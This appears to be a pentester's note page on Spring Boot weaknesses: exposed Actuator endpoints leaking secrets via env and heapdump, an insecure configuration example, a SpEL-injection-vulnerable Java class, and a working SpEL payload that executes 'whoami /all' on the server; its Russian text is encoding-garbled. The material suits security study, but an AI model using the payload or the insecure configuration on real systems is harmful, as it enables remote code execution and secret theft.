Spring Boot
Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π² Spring Boot https://github.com/pyn3rd/Spring-Boot-Vulnerability
Spring Boot Actuator
Spring Boot Actuator β Π½Π° ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΏΠΎΠ½ΡΠ», ΡΡΠΎ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ/ΡΡΠ΅ΠΉΠΌΠ²ΠΎΡΠΊ Π΄Π»Ρ ΠΎΡΡΠ»Π΅ΠΆΠΈΠ²Π°Π½ΠΈΡ ΡΠΎΡΡΠΎΡΠ½ΠΈΡ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ. ΠΠΎΡ ΠΏΡΠΎΡΡΠΎΠΉ ΠΏΡΠΈΠΌΠ΅Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΠ³ΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ: https://github.com/veracode-research/actuator-testbed
Π‘ΡΠ°ΡΡΡ ΠΊ ΡΡΠΎΠΌΡ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ: https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
Actuator API: https://docs.spring.io/spring-boot/docs/2.0.x/actuator-api/html/
ΠΠ· env ΠΌΠΎΠΆΠ΅ΠΌ Π΄ΠΎΡΡΠ°ΡΡ env'Ρ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ. ΠΠ· heapdump ΡΠΊΠ°ΡΠΈΠ²Π°Π΅ΠΌ Π΄Π°ΠΌΠΏ ΠΏΡΠΎΡΠ΅ΡΡΠ° ΠΈ Ρ ΠΏΠΎΠΌΠΎΡΡΡ VisualVM ΠΈΡΠ΅ΠΌ ΡΠ΅ΠΊΡΠ΅ΡΡ.
Π Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠΈ ΠΎΡ Π΄Π°Π½Π½ΡΡ , Π·Π° ΡΡΠΎ ΠΌΠΎΠ³ΡΡ Π½Π°ΠΊΠΈΠ½ΡΡΡ ΠΏΠΎΡΡΠ΄ΠΎΡΠ½ΠΎ: https://hackerone.com/reports/1022048
Π ΠΎΠ±ΡΠ΅ΠΌ, Π΅ΡΠ»ΠΈ Π² actuator Π²ΠΊΠ»ΡΡΠ΅Π½ΠΎ Π²ΡΠ΅, ΠΊΠΎΠ½Π΅ΡΠ½ΠΎ, ΡΡΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΠ°Π²Π½ΠΈΡΡ, Π½ΠΎ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ ΡΡΠΎ Π²ΡΠ΅ ΠΎΡΠΊΠ»ΡΡΠ΅Π½ΠΎ. ΠΡΠΈΠΌΠ΅Ρ Π½Π΅Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΠΉ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ Π² application.properties
:
management.endpoint.env.post.enabled=true
management.endpoint.restart.enabled=true
endpoints.sensitive=true
endpoints.actuator.enabled=true
management.security.enabled=false
management.endpoints.web.exposure.include=*
Spring Expression Language (SpEL)
The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime.
ΠΠΎΡΡΡΠΏ ΠΊ ΡΡΠΎΠΉ ΡΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»ΡΠ½ΠΎΡΡΠΈ ΠΏΡΠΈΠ²ΠΎΠ΄ΠΈΡ ΠΊ ΡΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡ ΠΈΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΠΊΠΎΠ΄Π°. ΠΡΠΈΠΌΠ΅Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°:
@Data
@Builder
class MyClass {
private String inp;
boolean vulnFunction(Object object) {
return (boolean)new SpelExpressionParser().parseExpression(inp).getValue(new StandardEvaluationContext(object));
}
}
ΠΡΠΈΠΌΠ΅Ρ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ whoami /all
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("var pb = new java.lang.ProcessBuilder['(java.lang.String[])']([ 'cmd', '/c', 'whoami /all', ]); pb.redirectErrorStream(true); var p = pb.start(); var stdout = new java.io.BufferedReader( new java.io.InputStreamReader(p.getInputStream())); var s = '_'; while ((line = stdout.readLine()) != null) { s += line + '\n'; } s;").getBytes(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())==0
Last updated